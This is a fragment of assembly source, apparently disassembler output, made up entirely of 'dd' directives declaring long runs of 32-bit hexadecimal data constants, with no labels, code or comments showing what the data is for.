		dd 5D0508A0h, 487F6852h, 0C128036h, 357A1A47h, 1F943156h
		dd 0AD375925h, 45414930h, 0BC6D1628h, 6C307A01h, 75FBE910h
		dd 71EF8F87h, 0AB2AD579h, 80449F1h, 0E89B21AFh,	59DE93BEh
		dd 3047CABAh, 0CA801FC8h, 96BAF0EFh, 72680091h,	5832C508h
		dd 16E1255Ch, 0C1AE5F17h, 6FEB9B1Ah, 994B40D4h,	2DBB56C8h
		dd 3F2D1770h, 51107CD5h, 40DF6C74h, 6CB9CD6h, 877604F2h
		dd 1FEFD598h, 0CD223744h, 7E9745Ah, 0AC457090h,	0DE985E70h
		dd 0ADE90780h, 970DE6BFh, 2ACA12D9h, 0EC107342h, 4CF80B11h
		dd 0A521694Ah, 508DE6E9h, 7A0FE139h, 285D4E3Ch,	5B4007EDh
		dd 488D908Fh, 0C207B821h, 0C0401E18h, 4D3DF0E5h, 74E9493Bh
		dd 46C34DC0h, 0F6FA0E8Bh, 41784BFEh, 83268719h,	56063Dh
		dd 0A454BF30h, 295A5879h, 32205F2Fh, 0C227D4E4h, 9071E431h
		dd 17208E9Dh, 9855685Dh, 0E025F06h, 0A6E9422Ch,	5B1BA4BDh
		dd 2DAB3C94h, 0D43517EEh, 805609DFh, 56CFA36h, 53AD62Eh
		dd 8A35623Eh, 9C512F6Eh, 4B12B725h, 0E87D5955h,	79DD02AAh
		dd 6A773513h, 1080B80h,	5B596843h, 66F3336Ah, 2B1E7FE9h
		dd 0E23AE429h, 0F9A90CF1h, 5FA6CEF3h, 7A7AE6D3h, 0C9C2CD4Bh
		dd 0F0FBF65Bh, 626B0CE9h, 0F000D7D7h, 1D3D3F2Bh, 0EB5DF4FAh
		dd 2FD65D95h, 7B1C5F7Bh, 95A158BFh, 3020E834h, 29BD0423h
		dd 0E02F0C7Dh, 4B14165Dh, 4B06392h, 6F28688Ch, 6C6B81ABh
		dd 0A8872F4Dh, 3D9457B9h, 0DAEA812Dh, 0E60CC0B9h, 112D253h
		dd 5CE9CA16h, 844722E1h, 0FF7D3472h, 3D8F39A3h,	99EB9F00h
		dd 686BB610h, 0C199BC30h, 70734CA3h, 5402C309h,	0E9453344h
		dd 9D73F018h, 0E075EA92h, 8C7C4DDEh, 0D281E913h, 466736C0h
		dd 2A30F53Ah, 104D182Ah, 4FD9B071h, 0E977D10Bh,	5AF260A0h
		dd 1CD42D68h, 7A7267FEh, 45E9252Dh, 21806389h, 9437C168h
		dd 3231589Fh, 0EDDD8ABFh, 6B442F5Dh, 68632088h,	7A4F18B4h
		dd 9E3324Ah, 4FD45C14h,	7DFAFC89h, 7A649A99h, 2BAEF417h
		dd 31AA4B3Eh, 3A5FFD0Dh, 0F58B8C98h, 250EA36Bh,	99CC1EFh
		dd 0FB646Bh, 0C8022B92h, 82970122h, 93F4969h, 0F9B49784h
		dd 600B0747h, 4DA26A3Ch, 62F7FCC4h, 0C347C9DAh,	0FD12DBFh
		dd 0DEA7DE1Bh, 6A35D3C7h, 0CAFB2AEFh, 1B257D59h, 3AE4E63Ch
		dd 21B7C8Ah, 0BEA4F088h, 11F4B265h, 7AA141E3h, 0E40F6C5h
		dd 0BF783605h, 51E8E229h, 9903072Dh, 81EB4A08h,	15A793Eh
		dd 0DB30BA52h, 831C1467h, 973CFEAh, 7CA22130h, 3797C180h
		dd 437D0344h, 0FDFCB00h, 59E9624Ah, 3050C7F9h, 0AC5874E5h
		dd 0F3211FF2h, 0A10CFD8Ah, 7008DE6Bh, 74496856h, 21E9091Ah
		dd 0F519A430h, 3987DC80h, 0B93A4ECEh, 0D3E541B4h, 0C87203D1h
		dd 28F4CD01h, 8FE684B7h, 8418A2EBh, 917BAEDh, 0B876962Fh
		dd 0D4B1D525h, 7807F95Fh, 4C8B59ACh, 208E123h, 0AC53D02Eh
		dd 7BF3E332h, 65A99C0h,	4EDFE2E9h, 50D4B4AAh, 0AE27317h
		dd 5F05FDE2h, 0F92F1D68h, 1A8B9E66h, 98EC3332h,	606C7F54h
		dd 1C936A45h, 0F7EE1527h, 1604DD6Dh, 8258C802h,	48AD87FBh
		dd 9B5CBBC3h, 0F81B2717h, 56B72A2Fh, 0AAF7818Bh, 21345803h
		dd 7BEAF602h, 3F34165Ah, 0CBAE4838h, 42445A6Dh,	74BEDA86h
		dd 74DFFB5Dh, 0E9CC454Ah, 2ADECD9h, 6A182D35h, 2D5D5E48h
		dd 0C11802F7h, 0E96577D4h, 302D7108h, 1625C62h,	6C70E25Ah
		dd 0A6693868h, 319BB5B1h, 7F5D9BF0h, 25F23856h,	0C1C5C949h
		dd 0D3DF0438h, 10CFA2EBh, 5601AF1Ah, 901710BEh,	0F9A2EC0Fh
		dd 34B01994h, 0B4555766h, 68206FDDh, 0D2E96FEDh, 4C2488BEh
		dd 609B35C0h, 0C13B48C5h, 0F3507F02h, 6A98293Fh, 37137E05h
		dd 0D70423D2h, 0E6E07FE9h, 9802ECC0h, 0E4C35F65h, 0F65634B6h
		dd 5D267B33h, 43C2C2F9h, 188C52C6h, 3C6A1E65h, 75826395h
		dd 0E2FC59Ch, 6167E4AEh, 0D2CC1E5Ah, 0D2DDFA1Ah, 93ED9F05h
		dd 9E387FA7h, 9BF69F73h, 2C1A529Fh, 5208F82Ch, 0A6CCB057h
		dd 9F7B247h, 22B115CCh,	3793DD06h, 3E5AC107h, 836F117Fh
		dd 0A43159FEh, 9E4181FCh, 12AF2830h, 95CCE5Dh, 7FD91C9Dh
		dd 4D54ED82h, 0D52D4058h, 88142DE9h, 0E299CBC6h, 0EB00511Dh
		dd 0B6E95536h, 5CC2E1A2h, 53BC5B70h, 50C954B8h,	0B57F487Dh
		dd 0B1D6B7A1h, 52F41D3Ah, 68AAE2D6h, 54557EB3h,	991E3F58h
		dd 0F9CD50CBh, 0D5123C63h, 97FCE84Fh, 7BF9457h,	3AB85003h
		dd 0DC62A728h, 545C4EF5h, 30E95B74h, 0C551A705h, 0D3285AC6h
		dd 3703963Ah, 2940D823h, 81C40CDh, 0B2FF9E9h, 94FF5964h
		dd 94C6FE4Ah, 0ADFE2DECh, 0ABB0F109h, 9A202C1h,	0C1500436h
		dd 0B80FDEh, 5C2DCA81h,	0C60C26Eh, 32CB56A6h, 9E41AA96h
		dd 54EAA168h, 0E9923073h, 6E9F8262h, 0E758973Fh, 60B04892h
		dd 0BB60FE60h, 0A62AEBh, 4DBD5533h, 0F7395D5Eh,	8202D551h
		dd 8527A8F0h, 82BAC1A1h, 84EE6144h, 0B09DEC7Ah,	0A28637F3h
		dd 5899A0F9h, 0B2CC44E9h, 0E75A0BD1h, 897DE8FBh, 0E6215AB5h
		dd 0BD7E1076h, 0BDC062Ah
		dd 90C445Ah, 9297F60Fh,	480544F5h, 958BF05Ch, 0EA09A460h
		dd 0BC3220FFh, 4C297240h, 0F20B2EDFh, 6C82B92Bh, 5903A6F4h
		dd 682E0989h, 0D2DA6CE2h, 17B29C5Ah, 0B7556F51h, 9FD4BB9Ch
		dd 287F8D0Dh, 0E804F403h, 0BA0EF180h, 2F423903h, 45F7F6D2h
		dd 4AC628CEh, 5F01B224h, 1210D686h, 0CC5AB268h,	3814B6B6h
		dd 5FC17E8h, 47354ECBh,	408057C4h, 0B831FEBEh, 6AFB80F0h
		dd 53A0475h, 0FAE168E9h, 62EF34CCh, 62C65F2Ch, 8285C51Bh
		dd 0C49AD8C9h, 0A1608B6Dh, 51B7BF29h, 0DFAB8CF7h, 79454149h
		dd 4F4E26Bh, 22E31E58h,	702C4E1h, 0B2CD4856h, 0CB9C5C2Ch
		dd 7402258h, 0BDA9B05Eh, 0AFAC8845h, 0EF5DE927h, 1F86D930h
		dd 56C7010Ch, 0BE2E52F2h, 73A3CED7h, 0F52F02FCh, 2C063A6Fh
		dd 314E2540h, 5169301h,	728A51F3h, 0A12D2A20h, 9F445D07h
		dd 8D522BC4h, 55761A01h, 3060412Eh, 7316B5D1h, 2954AFFAh
		dd 354FF186h, 207F30A6h, 79B5A811h, 0AECE027Eh,	0E8D701B3h
		dd 5B3EBA2Bh, 0DE39A039h, 0AE8A865Fh, 0CFAE547Eh, 59527751h
		dd 532663B4h, 0F9C81EA0h, 83D2C5ADh, 0DF2E74Fh,	814F005Ah
		dd 963E38EBh, 0DA893917h, 41AA7C85h, 0E9D60122h, 0E957C6D1h
		dd 0A0CC75D3h, 409A9013h, 71975D05h, 82552F79h,	77F3BFDBh
		dd 76B5F746h, 0B5AE42AFh, 66D78800h, 1B0F65Ah, 30FBB2A0h
		dd 0CC8058C2h, 0FA7528BBh, 5B05EA75h, 0B551DAF6h, 63815F84h
		dd 0BF00B2DFh, 74507632h, 173CCF9Eh, 0F7688C27h, 56A10D7h
		dd 0E9713D25h, 2D0ED08Dh, 0A0091F56h, 87C10109h, 7F0BFCE3h
		dd 702E716Ch, 56C20CEBh, 60EC5CB5h, 42C0369Ah, 5BDE210Ah
		dd 70038B55h, 0BE320139h, 0BD6E5830h, 9F028381h, 87E1EB17h
		dd 16878358h, 0A8036A53h, 7FE17BFEh, 91B72D7Eh,	72CA9D79h
		dd 0C61CD211h, 6FB55DBEh, 1A7582E2h, 0C9A7C296h, 0F92F5D69h
		dd 0DF5CA265h, 326BDAF1h, 7F094855h, 0EB79C0C8h, 1880578Ah
		dd 1770CC1h, 54004E11h,	4379BE6Bh, 0C351D37Eh, 140CA208h
		dd 0E92041F9h, 9B006E55h, 0AF27A605h, 0F8290614h, 0B49BB951h
		dd 0D9F73513h, 51AE008h, 0FE473168h, 0D3B83464h, 2790CE4Bh
		dd 87D08398h, 50D0BAEAh, 955CB79Bh, 5DC8E9F8h, 1674A433h
		dd 1F608E07h, 13120A74h, 68694240h, 291601D3h, 8BC45910h
		dd 13F1F99Bh, 4E92F868h, 0EA9722FDh, 92FE3B79h,	4CAC61DFh
		dd 7CC12181h, 6B751179h, 80BD094h, 43475F5Fh, 169B0E27h
		dd 0FCA092FAh, 0A59E8650h, 0A79CFD2Dh, 582F5E97h, 85E4D68h
		dd 0A3E9AB30h, 2D86AE1Bh, 16774401h, 685B0902h,	66F9411Ah
		dd 0D60DA88Bh, 3800CBCAh, 5D9C11CEh, 0E02CC0B4h, 45C0EC17h
		dd 5A181910h, 821ECD1Bh, 7902FB0Ch, 5FD9897Dh, 83A5BA10h
		dd 55018916h, 19F33041h, 0C43A22B9h, 0E1E18115h, 0F4E0FB23h
		dd 5A0C9D34h, 936166E9h, 85C1EAEh, 0B4CC9249h, 0C439F275h
		dd 0D91F2806h, 92372D05h, 0B2C58902h, 0FA77F5BCh, 0ABD4976Ch
		dd 25960820h, 50E95C85h, 5E25C6B8h, 1B90CED8h, 0F1C7E525h
		dd 0A7F92663h, 57D070F6h, 4BF017BFh, 0E29BA0C8h, 5DB1119Dh
		dd 68152C2Eh, 0C714782Ch, 3106006Bh, 9835F574h,	8C684A3Fh
		dd 0BDBEA4F7h, 0E9AFB560h, 9D4E4B9Dh, 7BA86F57h, 0FE840993h
		dd 2C29E7F5h, 1A5908C0h, 16FE5D16h, 878FB2ADh, 0C5A0C72Dh
		dd 51F02951h, 0D3F00705h, 55EB1623h, 9A2F0A5Eh,	36D5A757h
		dd 0B948B546h, 5281DCE3h, 0A7D4B83Eh, 2F9B3C31h, 417C4C84h
		dd 2057B835h, 0B1B53B96h, 54E24B93h, 0B02D2DAFh, 0EA27EF08h
		dd 4DB08235h, 9CF50D94h, 0D40F8AC2h, 0AAC16081h, 33482A02h
		dd 2FE93FF1h, 9F6DC482h, 681386CCh, 0F6BD03FEh,	7F2F5588h
		dd 75D6EF0Bh, 50A890AFh, 75E9805Ah, 402181BCh, 1005F19Ch
		dd 80AB1450h, 9686E9FCh, 48D0D39Dh, 1268E16Eh, 0B8658B61h
		dd 6BB37C78h, 0C132F75h, 54362DD6h, 90576133h, 6B560FCAh
		dd 0DF497E62h, 6C541883h, 29591009h, 0CBA982F9h, 2E2E49Ch
		dd 41886982h, 93F1EE01h, 0E1A2554Bh, 0D1D5BC0Ch, 0DBF66084h
		dd 2FB8CBFEh, 0EB30BD03h, 2DD82059h, 52F1AB7Ah,	0E69927BCh
		dd 0E9570882h, 0EE92DF5Ch, 0BA0256AAh, 0C2F1CE04h, 684D0312h
		dd 0BAE50A71h, 0D892261h, 19F23D8Bh, 2DF621F8h,	80E68D4Ah
		dd 7A58C180h, 0E9120AAFh, 3A35A1ACh, 7D914280h,	0BD1D791Bh
		dd 965457Eh, 2FE98E20h,	3261C9D0h, 6429782h, 0B7FD14F5h
		dd 0BD621171h, 21DE48ACh, 355197F9h, 4601E961h,	0C386C762h
		dd 197A9BAh, 0DF3FE5C8h, 9578A06Ah, 44009FA4h, 121077Ah
		dd 7FBA52FEh, 1C383FCCh, 57CDCA03h, 0C040E15h, 70774A92h
		dd 3F6C4F01h, 9BA14039h, 5E4F7805h, 7DEE32D2h, 685F9EA0h
		dd 6FE14425h, 27B1B5ECh, 879C3B80h, 9984C050h, 0B8495860h
		dd 55A0CE01h, 8742DC4h,	846B1F61h, 407136Ah, 4FABA1Bh
		dd 0E3AA2C33h, 0B03610BEh, 0EC1A8130h, 653E5A3Bh, 0C909905Bh
		dd 3E89876h, 53886C8Fh,	2E03C783h, 227554CFh, 260C022Eh
		dd 0F705172Dh, 0EC07D5F4h, 0CAC6B5Eh, 0B231737h, 0E9A40482h
		dd 2804D171h, 7E8ADCF3h, 914519BFh, 7DDA63C1h, 0C813DCEh
		dd 0DCA9A55Dh, 1BE986D6h, 8A80A6B7h, 0E43D575Ah, 9F79924Dh
		dd 8EAF0852h, 8DEC4BEAh, 0F1F5E9C5h, 0E3006F97h, 30ED6673h
		dd 4C140205h, 0C701502Fh, 50985B4Ch, 737A3E0Bh,	3086F434h
		dd 3A75EF5Ch, 0F731FC17h, 0A945AE09h, 9DB4564Fh, 784D66E1h
		dd 57B8C329h, 0D497AF70h, 0D3775ABAh, 1A35A60Ch, 0AE76B740h
		dd 0F1AF4F89h, 2464261Ch, 19DD25ACh, 79D0BF33h,	98F0FE60h
		dd 953C7640h, 5520D214h, 0C1801CD5h, 7DF1C18Ah,	287AEF68h
		dd 0CE8881C8h, 2DD35351h, 0B95AF9F0h, 0B7408390h, 10F9B75Dh
		dd 43286805h, 0E6B874FFh, 0EBE6122Ah, 4DDE43FCh, 2B56C519h
		dd 4760CEA5h, 61CB4186h, 0A9BD7A43h, 0CE61BFA4h, 8A3A69BAh
		dd 8F425A7h, 0CE27EF9Fh, 0BC12D7B5h, 0CD4E150Dh, 5F2D787Ch
		dd 6B65D62Eh, 0E9C72F54h, 2D01CC54h, 0ED793CACh, 0D35DDA5Bh
		dd 0B06544E6h, 0C6C197A3h, 37572F70h, 950B1DF0h, 1E9E0398h
		dd 936B9A3Eh, 0E320F490h, 0FB4643F2h, 0F05ACB6Ch, 1EC2DD71h
		dd 0CC485968h, 119C25C5h, 0C5A163CEh, 2F887A3Eh, 0AA5400F8h
		dd 335250Ch, 0E9277A63h, 579B09FFh, 1288E745h, 0C3310FAEh
		dd 45500896h, 0D8D9E961h, 8500D339h, 4809CA72h,	25FC5240h
		dd 0A7901A5Ch, 0CD656DB5h, 0F6EF44FBh, 0EFCAEB51h, 815E4F7Ch
		dd 22535CD1h, 2A210B8h,	0B630B707h, 5BFE02AAh, 2809A1DEh
		dd 0DB7B62C8h, 0B0E9C281h, 5D19E957h, 0EDCEB15h, 0A0882FE9h
		dd 0A8C2E213h, 0DA62104Ah, 80598274h, 0D8FD72F1h, 80CBB520h
		dd 3D93585Fh, 4AA7D83Eh, 0E9E7B7BCh, 0B7F8657Dh, 0F481F4C5h
		dd 87A4FE0Bh, 48C5424h,	79C055CBh, 801EF6B7h, 0B8B44E7h
		dd 801DCB3Bh, 0C1404107h, 0E252210Ch, 4078215Bh, 0F009D550h
		dd 0D1E95D08h, 3C680725h, 4CDF0914h, 9DE09A9Ch,	7368F059h
		dd 13FFF516h, 919BEFBCh, 0B323E90Ch, 214A5910h,	88B5F9ECh
		dd 0EF48BDE1h, 2CF1D154h, 0D625E0E9h, 0E8E9D8D0h, 0C6210C41h
		dd 268426B9h, 0EE012C74h, 81A2694h, 0EDAC551Ch,	60EB018h
		dd 2D032E14h, 0E22AF25Bh, 1168A18Fh, 3BD4F33Fh,	0B6E6B7E9h
		dd 0EFC105E6h, 959CB7ECh, 0D0042CCAh, 67C01EC1h, 0F92831B1h
		dd 0B450075Bh, 8389B6A1h, 0CED858E6h, 14A75E9h,	5AFA57F4h
		dd 0AE8744BAh, 0F80112A4h
		dd 1AD3664h, 67C9536h, 0B8381AE6h, 63B2419h, 1110C10h
		dd 41AF4CF1h, 1E782A40h, 77F759E9h, 1BDBBE03h, 0DEC835F8h
		dd 514CEED1h, 4AAA3838h, 87EA77AFh, 0BFDCF4C1h,	1A193DF4h
		dd 3A266C4Ch, 46045FFEh, 2DAE38E9h, 0E0A63BD6h,	5102804h
		dd 2624B358h, 7B004151h, 0E90AB164h, 0D4BF4F16h, 268E8257h
		dd 7525DE59h, 5CAF042Fh, 60CEB936h, 1EF681C8h, 9A7D277Fh
		dd 6D20F952h, 4C23BDA7h, 0BA847C96h, 0EE9667F3h, 1D66CD2Ch
		dd 12E779BFh, 0EB57BA31h, 9C0A7DBBh, 0D5E5F82Ch, 11E06912h
		dd 3F50E254h, 7624FDA2h, 0F20465DDh, 3BB0FE9h, 0C0F780F9h
		dd 0FE05EF88h, 0F9BC80A0h, 1E3F4A81h, 0B0F24B18h, 1EC2299Bh
		dd 0E608695Fh, 0A571F62Fh, 3BFFD9FAh, 53D24DE3h, 8B21BB11h
		dd 0F510AAE4h, 0E20E4E63h, 0C95E2D1Ch, 22FE827Ch, 0E6045E5Fh
		dd 801890C0h, 20C63E6h,	0E9C626FEh, 2E9225FEh, 305CBF42h
		dd 66535207h, 0D9B1B233h, 0F72FF4FDh, 605A7BE2h, 0FF5DD709h
		dd 68594600h, 0AB9B5E1Fh, 9116619h, 0BDDEF02Bh,	0B54FC60Bh
		dd 0D8E1A047h, 2FE9EFF5h, 0BAAE26C7h, 0CDF16CE9h, 1528B003h
		dd 25CF7F25h, 58649792h, 0C9E971B7h, 0CCC26002h, 3B72F30Eh
		dd 3FE918EFh, 0E16D81F1h, 37266739h, 2B36C0DAh,	892C14AEh
		dd 0EC18AACBh, 0CF1296Bh, 60BA7413h, 2F8B4008h,	6E005078h
		dd 517D6A6Bh, 5106853h,	5B097B27h, 518A8D1h, 3A179D9Bh
		dd 57E032F8h, 0CE5F01E9h, 13D3EAEDh, 2038FEF8h,	0AED05542h
		dd 0F557BAD3h, 0C2DEC225h, 0D0D25922h, 3C18817Eh, 70404D5Eh
		dd 67E2F23h, 9A592240h,	0D8860382h, 0C2431609h,	3B8BB158h
		dd 5619418Ah, 7D8605Bh,	0F5FB4865h, 0EECB432Fh,	40553AB9h
		dd 69A2DEA3h, 0CF210C0Ah, 0BB018C59h, 1AFA7DEEh, 0EC5B8343h
		dd 0B5FF2ACCh, 0CD875002h, 0B030F1DCh, 985A25A2h, 14D6F6C4h
		dd 0BD37B475h, 0E2F61E20h, 0C52E8809h, 13060427h, 7F467E82h
		dd 3097C07Ah, 0BDF55783h, 49597410h, 7FC330B5h,	0FED2584Fh
		dd 93C4562Ch, 84F1FC5Bh, 359331D0h, 4AB8BAF9h, 0EDAC0331h
		dd 0F7679030h, 0D644BF89h, 514A4DB2h, 0F07CE021h, 0E4EBB854h
		dd 0A841FCCEh, 0D495802Eh, 97C4512h, 3B431A2Fh,	714BD937h
		dd 4B4AD948h, 2A80894Eh, 7CFCD3E1h, 0BB7F0011h,	80EE8393h
		dd 0C59FCB01h, 0E7078878h, 3C007D25h, 4B525CC2h, 64385A7Eh
		dd 70F64E45h, 1DB6B91Dh, 0E1C14B19h, 0EB059CFCh, 81004C7Ch
		dd 405073F6h, 1EFDA071h, 68C00934h, 0B08F129h, 0EED42508h
		dd 12CFD3ADh, 68978054h, 65B5565Ch, 49D9A61Ch, 5F16E2DCh
		dd 4A7504B8h, 252BEF3h,	10AD370Dh, 1C5A8400h, 0BD0E5B64h
		dd 23A0041h, 0F0E94186h, 5292BFF3h, 30CF5F7Eh, 1AF73C2Dh
		dd 0AEE88079h, 4B286A47h, 50AEAC5Bh, 7048DADh, 53E94C3Ah
		dd 0FB3B17EAh, 4B7350DEh, 58F263E3h, 0CCAAEBDh,	51C9680Bh
		dd 7E2464E6h, 5565C3CCh, 0EA0482h, 0CA0765BBh, 302E267Ah
		dd 0DFB47370h, 0DEAB7E95h, 123D48ABh, 39EF5126h, 37B96FC1h
		dd 0E5A7A818h, 2016F1CDh, 69E82F15h, 0ECF41396h, 4CADE346h
		dd 0B99780A9h, 0FC1451C7h, 4E481715h, 450F48A9h, 3F0F2108h
		dd 2BB9F087h, 422D478h,	0E03A8E40h, 0DB092DD7h,	4659523h
		dd 7F38086h, 0A6573613h, 9A4410Eh, 0F70D8A70h, 5E96F9D7h
		dd 6858D541h, 8C6B549Bh, 14BD0168h, 21E926C0h, 55D80C1h
		dd 53D208E2h, 2DC80114h, 0C275107h, 0CC531B5h, 0A54003E9h
		dd 27135635h, 652D0E2Ah, 5096F878h, 68C0B7A6h, 29542EB4h
		dd 8AEEC09Dh, 1D6F2D46h, 62F70FD8h, 25575826h, 9C712231h
		dd 3194FDE6h, 0A00D1B20h, 9EBA77F1h, 86698850h,	5376806h
		dd 63C7240Bh, 79E962C5h, 0D055F96Ah, 74ED4CB4h,	0EE498217h
		dd 813A2C4h, 8F0A1004h,	31ADBF00h, 0C19774DEh, 14F94FC2h
		dd 75FDA87Ah, 0B3E6DBDh, 62E867E9h, 776FF8F3h, 1B2D6504h
		dd 2F681F2Ch, 159876AFh, 0D9301D7Ch, 338CAE2Eh,	0E62176CDh
		dd 4F3A12F3h, 4EA7B80Ch, 0F71687BCh, 0A1FC12DDh, 0CB616F57h
		dd 8B7B81F4h, 68AB610Fh, 172618DAh, 1370A210h, 0EEF0FEE9h
		dd 0A75EB75Ch, 7404C624h, 0E1820220h, 8222D44Ah, 53DD2EA3h
		dd 0BB7C307Fh, 7BDFC5Eh, 0F1E38115h, 0C1CEDE56h, 703CDh
		dd 0BE04728Fh, 34A8FCA1h, 0EFB03144h, 4478392Dh, 89555A60h
		dd 21C23B18h, 6E71CABDh, 25717482h, 2FAC1B93h, 0FEBD0708h
		dd 0AEC66476h, 0D4E31499h, 0A50A0C58h, 0F64CC925h, 0C46E0B95h
		dd 0AA092616h, 7F591B5Eh, 0AE62222Eh, 9F5840Bh,	3CEEF76Eh
		dd 0A34AE970h, 64C414B8h, 97B81652h, 0CD0C0F48h, 0D63CFA2Ah
		dd 0CE8102A0h, 0B4110505h, 0E5BB4E6Ch, 598B306Ch, 575A74B4h
		dd 16622AF9h, 5B195DD0h, 0FD7FA580h, 3AC84FBCh,	9CAC1DDDh
		dd 5868ED2Ch, 532F081Ah, 0C03D6249h, 5E8E547Eh,	72C5A0ACh
		dd 29415F1Dh, 882A9A8h,	0BF1ECCF4h, 600E960Bh, 9FE6D1B6h
		dd 0DEF449h, 4B29E46Bh,	7FC54B69h, 0DE2D0BC0h, 3B5C4E07h
		dd 0D5F2E405h, 43455109h, 0F68D1068h, 4C4909A7h, 15ED0267h
		dd 0C66D0CD2h, 0C38AD002h, 0DEF531D9h, 387570F0h, 0B1137A24h
		dd 0A1684502h, 8B1FD934h, 4C4554Fh, 2C862C8h, 301C3BFh
		dd 5F1F8E0h, 0D78018BDh, 0C7189D13h, 260287C7h,	0F9315168h
		dd 4E40DD5Fh, 0F1B5D79Ah, 0B87FA741h, 84B850D4h, 8C46E918h
		dd 7D415D7Bh, 81589D54h, 2514BEA0h, 0FF291D2Dh,	6272F020h
		dd 1F51633h, 9389B0D5h,	0DD0006E6h, 46AD6BDCh, 58B05097h
		dd 0DB209652h, 2B326814h, 0E3B3CFB1h, 507EBC0h,	0E3800606h
		dd 5D0EFE26h, 0F8C5E19Ch, 0EDF0CDFEh, 0FCE91287h, 0A6C2AD63h
		dd 59580008h, 0CA685155h, 135AEF38h, 4B73BC55h,	0C04BC23Ah
		dd 1BBF57BEh, 3CE46E0Fh, 48E32647h, 0BCEB0533h,	0F937D562h
		dd 2D08418Ch, 89902D2Ah, 0A52B5F19h, 98918DD8h,	6BB8F5A7h
		dd 6825D5F7h, 6848DE12h, 2568C812h, 0C9208D16h,	2D697CBh
		dd 0A34942h, 0E3D1DBF7h, 1480BAC1h, 0E56166F6h,	0C57AA5B4h
		dd 85DD8011h, 0E5EE4D4Bh, 257B0F13h, 3FF070F0h,	1257993h
		dd 310EF409h, 0AB6E1EA0h, 0B90F517Dh, 0B334069Fh, 57964901h
		dd 9520442Fh, 7407164Ah, 99D50A69h, 70FC40E0h, 79B82342h
		dd 8ABC1F0h, 9ADBA2CCh,	0FC482F7h, 0EEABE9F0h, 177532DDh
		dd 0AC143C40h, 49157BC3h, 0B8016817h, 38C95DFCh, 0B0A4EC55h
		dd 5BDD4FC0h, 780D5F6h,	0EDC00FCDh, 30606E05h, 47E9E828h
		dd 0B87507BDh, 2B875890h, 0C918CFD1h, 29BD0270h, 0C012DE4Eh
		dd 4A6BCAA5h, 8D4CA069h, 95435913h, 0A4B187AAh,	0F5EAB427h
		dd 0EB690A02h, 0FFCD8703h, 0ECC98FAh, 7E722045h, 6F4048A8h
		dd 0B893CB27h, 5D3CBE2Dh, 5B542910h, 0D8CA029Eh, 0ED94772Dh
		dd 49386817h, 6C0D6FCh,	0E9E4B151h, 0FA79A027h,	24037859h
		dd 0BED423DEh, 1326D9CCh, 0BE7D12E3h, 35BF4464h, 7DC1ADB1h
		dd 6F3A7CB5h, 2F095489h, 8641F143h, 17AE26D2h, 1E607B03h
		dd 245F7AD0h, 70F595Ch,	194F1692h, 47C144E1h, 8561CE9Bh
		dd 7001A20Ch, 69B1022h,	1528B9E0h, 68360978h, 987D488Bh
		dd 28320946h, 79A3DB8h,	9C6CD2EFh, 2815C244h, 349DE479h
		dd 2DEA5B78h, 0A9C6FC74h, 0EE816296h, 0F4499C8h, 2DBD6F1h
		dd 2577F69Dh, 0BF607C89h, 0E1257412h, 0A0A05E70h, 40E91808h
		dd 96F533AFh, 6A3B3612h, 30CD980Ah, 16D73E82h, 0E104573Dh
		dd 2D9AD20h, 561A10F2h
		dd 97F17492h, 0E14B33C1h, 177066F8h, 0E299E927h, 608FD4E6h
		dd 9F71F8C8h, 0AD404EFEh, 0E180BBAh, 0CBF558A8h, 14AE798Eh
		dd 8BEBD9BFh, 68079020h, 6C1A1536h, 81710A2h, 2BB709F6h
		dd 0BF549E55h, 0D7628359h, 4916F709h, 756B629Ch, 0E9B03664h
		dd 0B2474002h, 0C895E90Ah, 0C69BE8Ah, 0B8083C2Dh, 0B4280BEEh
		dd 0F7649631h, 92AC66B1h, 0A0BD84h, 351E8A2Dh, 0D031397Dh
		dd 4A08C230h, 9202D2F7h, 455F780Dh, 4DCB401Dh, 319695C1h
		dd 5A3D5B48h, 7C4C3FF7h, 5055C25Eh, 562F8295h, 0C7597ACFh
		dd 7F5C6884h, 290A30AAh, 674A7763h, 8F4F67FBh, 5A8E392h
		dd 22C377E4h, 7444081Eh, 0ACB965A5h, 275E5506h,	44ECD80Dh
		dd 0DD32A425h, 0EE5B6605h, 680BFFE3h, 0EC591FF7h, 6D51DE84h
		dd 0D4957C82h, 5350164Bh, 39CFBFB7h, 0B5E87B7Ah, 0BD6A4D51h
		dd 0DD34F52Fh, 0DA66E912h, 3424DBEEh, 0F4045566h, 68029FC9h
		dd 9FB14718h, 61E83A33h, 0A45F4EC1h, 86834301h,	7B3EDFB1h
		dd 0F30290B8h, 12300F0Ch, 5C20F2Fh, 71802D4Bh, 5C5258B3h
		dd 0D5517966h, 1C8B0801h, 0E9612C6Ah, 4E48A34Dh, 0C5739899h
		dd 0F265B716h, 0D2B4804Fh, 0CB9183E9h, 22D5E815h, 0BCDC389h
		dd 74E10057h, 5AF7317Eh, 2452BFD7h, 0CB0A67BCh,	0DD7EA14h
		dd 31186D77h, 5A6307Dh,	74F9D49h, 0EE23E87h, 5DB88EA5h
		dd 396EB902h, 0E2DF067Dh, 8F7955A1h, 12EBD945h,	70EF254h
		dd 3370236Ch, 3A858DE6h, 449E3ABAh, 0F025931Ch,	0CA1E30D4h
		dd 2748D9F6h, 0C95E1F9Bh, 622750C5h, 535922CBh,	0C26FC05Dh
		dd 5E0A5C01h, 83A15551h, 9ED308F6h, 27097027h, 0C6545BF2h
		dd 0F1FAC00Bh, 8711424Bh, 49A82409h, 0EB0288A9h, 96D08B9Ch
		dd 0A03E9476h, 0F8891EDDh, 0B3F30C57h, 44972110h, 9018C7F2h
		dd 0C65F0BACh, 9EA1ED99h, 0EE80AD93h, 56254B41h, 891DDCA1h
		dd 75FB09E9h, 76B52A96h, 79D62D5Ch, 50277C7Ah, 0EB09F781h
		dd 2B0672h, 7F771907h, 175B015h, 632647EAh, 47E64E9h, 8A809004h
		dd 38C8DED6h, 0EC5F382Dh, 5652B010h, 34860B68h,	8F7835A9h
		dd 890F8465h, 0D5D873BFh, 64F0138Ch, 7B691099h,	4AA10B31h
		dd 63987D4h, 0AD38F749h, 470B34BDh, 204D69E2h, 68E0E553h
		dd 7E809FD2h, 53B03DF0h, 893B659Fh, 0D0527F3Ch,	4F1FE0B5h
		dd 0A81B4B11h, 0A5DE6225h, 0E821031Ch, 1AFA05C8h, 2D319002h
		dd 0DF7235F3h, 25B099E0h, 0E92BAB05h, 94217D89h, 0CC7F8FEDh
		dd 0EF32B0A3h, 7AAEEA51h, 0F805202Fh, 1B4582BDh, 5B680107h
		dd 0E86FE532h, 73917338h, 0F117560Bh, 42782DCEh, 0ED3D2F0Fh
